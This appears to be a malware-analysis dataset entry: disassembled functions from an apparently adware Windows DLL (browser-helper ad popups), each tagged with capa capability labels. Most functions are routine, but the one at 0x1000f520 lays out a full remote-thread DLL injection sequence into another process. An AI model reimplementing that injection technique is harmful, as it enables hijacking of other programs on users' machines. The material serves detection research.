joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100012b0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10071b6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
call fcn.1001ee30
cmp eax, 2
jl 0x100012e4
push str.BHOEvent___AdPopup__
call fcn.10003d40
add esp, 4
lea ebx, [esi + 0x1c]
mov ecx, ebx
call fcn.10003ba0
test eax, eax
je 0x1000131d
call fcn.1001ee30
cmp eax, 2
jl 0x10001389
push str.BHOEvent___AdPopup_____return_No_Action
call fcn.10003d40
add esp, 4
pop esi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x24
call fcn.10056e50
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
mov dword [ebp - 4], 0
je 0x10001343
push esi
push 0
mov ecx, eax
call fcn.10003d10
mov esi, eax
jmp 0x10001345
xor esi, esi
push edi
push 0
push 4
push 0
push 0
push esi
push 0x100013a0
mov dword [ebp - 4], 0xffffffff
call fcn.1005b046
mov dword [esi + 0x20], eax
mov eax, dword [eax + 0x28]
lea edi, [esi + 8]
push 0
push eax
mov ecx, edi
call fcn.10003b50
push edi
mov ecx, ebx
call fcn.10003c70
mov ecx, dword [esi + 0x20]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x100026b0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10071dbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x1009dd34]
push ebx
test eax, eax
mov ebx, ecx
jne 0x1000274e
push esi
push edi
push 0x24
mov dword [0x1009dd34], 1
call fcn.10056e50
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
mov dword [ebp - 4], 0
je 0x10002707
push ebx
push 0
mov ecx, eax
call fcn.10003d10
mov esi, eax
jmp 0x10002709
xor esi, esi
push 0
push 4
push 0
push 0
push esi
push 0x10002760
mov dword [ebp - 4], 0xffffffff
call fcn.1005b046
mov dword [esi + 0x20], eax
mov eax, dword [eax + 0x28]
lea edi, [esi + 8]
push 0
push eax
mov ecx, edi
call fcn.10003b50
push edi
lea ecx, [ebx + 4]
call fcn.10003c70
mov ecx, dword [esi + 0x20]
mov edx, dword [ecx + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10002a00
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10071e2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0x24
call fcn.10056e50
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
mov dword [ebp - 4], 0
je 0x10002a42
push esi
push 0
mov ecx, eax
call fcn.10003d10
mov esi, eax
jmp 0x10002a44
xor esi, esi
push 0
push 4
push 0
push 0
push esi
push 0x10002a80
mov dword [ebp - 4], 0xffffffff
call fcn.1005b046
mov dword [esi + 0x20], eax
mov eax, dword [eax + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10003950
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
jne 0x1000397f
mov esi, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp + 0x18]
push eax
push esi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
je 0x100039e8
mov byte [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x100039a1
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov byte [eax], 0
xor eax, eax
pop ebp
ret
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
lea ecx, [ebp + 0x18]
lea edx, [ebp + 8]
push ecx
push esi
push edx
push 0
push edi
push eax
mov dword [ebp + 8], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x100039de
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
ret

Function at 0x10003bd0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 8]
test eax, eax
je 0x10003c14
call fcn.10003bc0
mov eax, dword [ebp + 8]
mov ecx, dword [esi + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10003c14
mov edx, dword [esi + 8]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 8], 0
pop esi
pop ebp
ret 4
Function at 0x10003d40
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x904
push esi
push edi
lea eax, [ebp - 0x104]
push 0x104
push eax
push 0
lea esi, [ebp - 0x104]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x104]
push ecx
call edi
dec eax
js 0x10003d8e
mov cl, 0x5c
cmp byte [ebp + eax - 0x104], cl
je 0x10003d87
dec eax
jns 0x10003d79
jmp 0x10003d8e
lea esi, [ebp + eax - 0x103]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
lea edx, [ebp - 0x904]
push str._s__08X:_08X::_WinAgir_
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp + 8]
add esp, 0x14
mov esi, eax
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp + esi - 0x904]
push edx
call dword [sym.imp.USER32.dll_wvsprintfA]
add eax, esi
mov byte [ebp + eax - 0x904], 0
lea eax, [ebp - 0x904]
push eax
call edi
xor edx, edx
pop edi
test eax, eax
pop esi
jle 0x10003e0d
mov cl, byte [ebp + edx - 0x904]
cmp cl, 0xd
jne 0x10003dfb
mov byte [ebp + edx - 0x904], 0x20
jmp 0x10003e08
cmp cl, 0xa
jne 0x10003e08
mov byte [ebp + edx - 0x904], 0x2c
inc edx
cmp edx, eax
jl 0x10003de5
lea ecx, [ebp - 0x904]
push 0x100929d0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x904]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esp, ebp
pop ebp
ret
Function at 0x100047f0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10071fb0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push edi
mov esi, ecx
lea eax, [ebp + 0xc]
lea ecx, [esi + 0x24]
push eax
mov dword [ebp - 4], 1
call fcn.1005bc7e
push 0x5c
lea ecx, [ebp + 8]
mov dword [esi + 0xc], 0
call fcn.10053983
lea edi, [eax + 1]
lea ecx, [ebp - 0x14]
push edi
push ecx
lea ecx, [ebp + 8]
call fcn.100538b5
lea edx, [ebp - 0x10]
push edi
push edx
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.10053780
lea edi, [esi + 0x2c]
mov byte [ebp - 4], 3
push edi
push 1
push 0x10004e60
push 0x10004e40
push 0x10004e20
push 0x10004e00
push 0x10004dd0
push 0x10004db0
push 0x10004d90
call sub.Cabinet.dll_FDICreate
add esp, 0x24
mov dword [esi + 0x28], eax
test eax, eax
jne 0x100048f3
mov eax, dword [edi]
add esi, 0x3c
push eax
push str.FDICreaet
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.1005bb45
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.1005bb45
lea ecx, [ebp + 8]
mov byte [ebp - 4], 0
call fcn.1005bb45
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call fcn.1005bb45
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp + 0x10]
push esi
push 0
mov dword [esi + 0x18], ecx
push 0x10004bd0
push 0
lea ecx, [ebp - 0x14]
call fcn.10002f50
push eax
lea ecx, [ebp - 0x10]
call fcn.10002f50
mov edx, dword [esi + 0x28]
push eax
push edx
call sub.Cabinet.dll_FDICopy
add esp, 0x1c
mov dword [esi + 0x38], eax
test eax, eax
jne 0x10004999
mov eax, dword [edi]
push ebx
lea ebx, [esi + 0x3c]
push eax
push str.FDICopy
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [esi + 0x28]
push ecx
call sub.Cabinet.dll_FDIDestroy
add esp, 4
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.1005bb45
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.1005bb45
lea ecx, [ebp + 8]
mov byte [ebp - 4], 0
call fcn.1005bb45
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call fcn.1005bb45
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [esi + 0x28]
push edx
call sub.Cabinet.dll_FDIDestroy
mov esi, dword [esi + 0xc]
add esp, 4
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.1005bb45
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.1005bb45
lea ecx, [ebp + 8]
mov byte [ebp - 4], 0
call fcn.1005bb45
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call fcn.1005bb45
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10004ad0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 2
jne 0x10004b4e
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
lea ecx, [esi + 0x1c]
call fcn.10002f50
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10004bc2
add esi, 0x20
mov ecx, esi
call fcn.10002f50
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, esi
call fcn.10002f50
push eax
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, esi
call fcn.10002f50
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x10004bc4
or eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 3
jne 0x10004bc2
mov esi, dword [ebp + 0x10]
lea edx, [ebp - 0x10]
push edx
mov ax, word [esi + 0x1a]
mov cx, word [esi + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
lea edx, [ebp - 8]
lea eax, [ebp - 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
mov eax, dword [esi + 0x14]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 8]
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov ecx, dword [esi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esi + 0x10]
lea eax, [ebp - 0x110]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esi + 4]
lea edx, [ebp - 0x110]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004bf0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10071fd0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 2
jne 0x10004cc3
lea ecx, [ebp + 0xc]
call fcn.10002f10
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov ecx, dword [eax + 4]
mov eax, dword [edx + 0x24]
push ecx
push eax
lea ecx, [ebp + 0xc]
push 0x10092aec
push ecx
call fcn.10053d2b
add esp, 0x10
lea ecx, [ebp + 0xc]
call fcn.10002f50
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp + 0xc]
call fcn.10002f50
push eax
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp + 0xc]
call fcn.10002f50
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
cmp esi, 0xffffffff
lea ecx, [ebp + 0xc]
jne 0x10004cad
call fcn.1005bb45
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.1005bb45
mov eax, esi
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
cmp eax, 3
jne 0x10004d74
mov esi, dword [ebp + 0x10]
lea edx, [ebp - 0x1c]
push edx
mov ax, word [esi + 0x1a]
mov cx, word [esi + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x1c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
mov eax, dword [esi + 0x14]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x14]
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov ecx, dword [esi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.10002f10
mov edx, dword [esi + 4]
mov esi, dword [ebp + 8]
push edx
lea ecx, [ebp + 0x10]
mov eax, dword [esi + 0x24]
mov dword [ebp - 4], 1
push eax
push 0x10092af4
push ecx
call fcn.10053d2b
mov ecx, dword [esi + 0x18]
add esp, 0x10
test ecx, ecx
je 0x10004d4a
lea edx, [ebp + 0x10]
push edx
call fcn.10004ec0
mov eax, dword [esi + 0xc]
lea ecx, [ebp + 0x10]
inc eax
mov dword [ebp - 4], 0xffffffff
mov dword [esi + 0xc], eax
call fcn.1005bb45
mov eax, 1
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x100082e0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 0x78]
test ecx, ecx
je 0x100082f4
call fcn.1000ca20
add edi, 0xc0
xor esi, esi
mov ecx, edi
call fcn.10007fa0
test eax, eax
jle 0x10008339
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 4]
push esi
push eax
mov ecx, edi
call fcn.100029d0
mov ecx, eax
call fcn.10002f50
push eax
call ebx
lea ecx, [ebp - 4]
call fcn.1005bb45
mov ecx, edi
inc esi
call fcn.10007fa0
cmp esi, eax
jl 0x1000830e
pop ebx
mov ecx, edi
call fcn.10008360
call fcn.1001ee30
pop edi
cmp eax, 3
pop esi
jl 0x10008359
push str.CDlgNavigate::Quit__
call fcn.10003d40
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x1000ca20
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10072a58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, ecx
call fcn.1001ee30
cmp eax, 2
jl 0x1000ca54
push str.CDlgTopBar::Quit__
call fcn.10003d40
add esp, 4
lea esi, [edi + 0xb8]
mov ecx, esi
call fcn.1000df30
test eax, eax
je 0x1000ca6c
mov ecx, esi
call fcn.1000bf40
mov eax, dword [edi + 0xc8]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1000ca9d
mov ecx, dword [edi + 0xc4]
test ecx, ecx
je 0x1000ca9d
call fcn.10003490
test eax, eax
je 0x1000ca9d
mov ecx, dword [edi + 0xc4]
push 0
call fcn.1000af40
add edi, 0xcc
xor esi, esi
mov ecx, edi
call fcn.10007fa0
test eax, eax
jle 0x1000caf0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x10]
push esi
push ecx
mov ecx, edi
call fcn.100029d0
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.10002f50
push eax
call ebx
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0xffffffff
call fcn.1005bb45
mov ecx, edi
inc esi
call fcn.10007fa0
cmp esi, eax
jl 0x1000cab7
pop ebx
mov ecx, edi
call fcn.10008360
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000f520
Capabilities:
Allocate or change rwx memory
Create thread
Inject dll
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007a258
push 0x1003e650
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp + 8]
push eax
push edi
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x34], esi
cmp esi, edi
je 0x1000f6e9
mov dword [ebp - 4], edi
push 0x10095288
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, edi
je 0x1000f676
push str.LoadLibraryA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp + 0xc]
mov dword [edi + 8], eax
push str.GetProcAddress
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [edi + 0xc], eax
mov ecx, dword [edi + 8]
test ecx, ecx
je 0x1000f676
test eax, eax
je 0x1000f676
push 4
push 0x1000
push 0x228
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 0x2c], ebx
test ebx, ebx
je 0x1000f679
lea ecx, [ebp - 0x24]
push ecx
push 0x228
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, 0x1000f4a0
sub edi, 0x1000f440
mov dword [ebp - 0x40], edi
push 0x40
push 0x1000
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x1000f679
lea edx, [ebp - 0x24]
push edx
push edi
push 0x1000f440
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x28]
push eax
push 0
push ebx
mov ecx, dword [ebp - 0x30]
push ecx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x1000f679
mov edx, dword [ebp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1000f65f
mov dword [ebp - 0x38], 1
lea ecx, [ebp - 0x24]
push ecx
push 0x228
mov edx, dword [ebp + 0xc]
push edx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jmp 0x1000f679
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 4], 0xffffffff
call fcn.1000f6a6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100137c0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x904
push esi
push edi
lea eax, [ebp - 0x104]
push 0x104
push eax
push 0
lea esi, [ebp - 0x104]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x104]
push ecx
call edi
dec eax
js 0x1001380e
mov cl, 0x5c
cmp byte [ebp + eax - 0x104], cl
je 0x10013807
dec eax
jns 0x100137f9
jmp 0x1001380e
lea esi, [ebp + eax - 0x103]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
lea edx, [ebp - 0x904]
push str._s__08X:_08X::_WinAgir_
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp + 8]
add esp, 0x14
mov esi, eax
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp + esi - 0x904]
push edx
call dword [sym.imp.USER32.dll_wvsprintfA]
add eax, esi
mov byte [ebp + eax - 0x904], 0
lea eax, [ebp - 0x904]
push eax
call edi
xor edx, edx
pop edi
test eax, eax
pop esi
jle 0x1001388d
mov cl, byte [ebp + edx - 0x904]
cmp cl, 0xd
jne 0x1001387b
mov byte [ebp + edx - 0x904], 0x20
jmp 0x10013888
cmp cl, 0xa
jne 0x10013888
mov byte [ebp + edx - 0x904], 0x2c
inc edx
cmp edx, eax
jl 0x10013865
lea ecx, [ebp - 0x904]
push 0x100929d0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x904]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x40
lea eax, [ebp - 0x904]
push 0x1009555c
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esp, ebp
pop ebp
ret

Function at 0x10017ad0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebp
ret 4

Function at 0x1001bf50
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, 1
lea ebx, [eax - 1]
cmp ebx, esi
jle 0x1001bfb8
cmp byte [esi + edi], 0x5c
jne 0x1001bfb3
mov al, byte [esi + edi - 1]
cmp al, 0x5c
je 0x1001bfb3
cmp al, 0x3a
je 0x1001bfb3
cmp byte [esi + edi + 1], 0x5c
je 0x1001bfb3
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.1003db80
add esp, 0xc
lea ecx, [ebp - 0x104]
mov byte [ebp + esi - 0x104], 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
inc esi
cmp esi, ebx
jl 0x1001bf72
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x1001bfc8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001d810
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100749ff
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x114
push ebx
push esi
push edi
xor ebx, ebx
push 0x100a1928
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x1c], ebx
call fcn.1005bbb3
mov al, byte [0x100a192c]
mov ecx, 0x40
mov byte [ebp - 0x120], al
xor eax, eax
lea edi, [ebp - 0x11f]
mov edx, dword [ebp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x120]
push 0x104
push ecx
push edx
mov dword [ebp - 4], 1
mov dword [ebp - 0x18], ebx
stosb byte es:[edi], al
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x120]
push eax
push ecx
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
push edi
call fcn.1003e114
mov edx, dword [ebp - 0x18]
add esp, 4
mov esi, eax
lea eax, [ebp - 0x120]
push esi
push edi
push edx
push eax
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x1001d8fc
lea ecx, [ebp + 0xc]
lea edx, [ebp - 0x14]
push ecx
push edx
push 0x10096218
push esi
mov dword [ebp + 0xc], ebx
call sub.VERSION.dll_VerQueryValueA
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [eax + 0xc]
mov cx, word [eax + 0xc]
shr edx, 0x10
push ecx
push edx
mov edx, dword [eax + 8]
xor ecx, ecx
mov cx, word [eax + 8]
lea eax, [ebp - 0x10]
shr edx, 0x10
push ecx
push edx
push str._d._d._d._d
push eax
call fcn.10053d2b
add esp, 0x18
cmp esi, ebx
je 0x1001d909
push esi
call fcn.1003e305
add esp, 4
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
mov ecx, esi
call fcn.1005b8ba
mov dword [ebp - 0x1c], 1
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.1005bb45
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret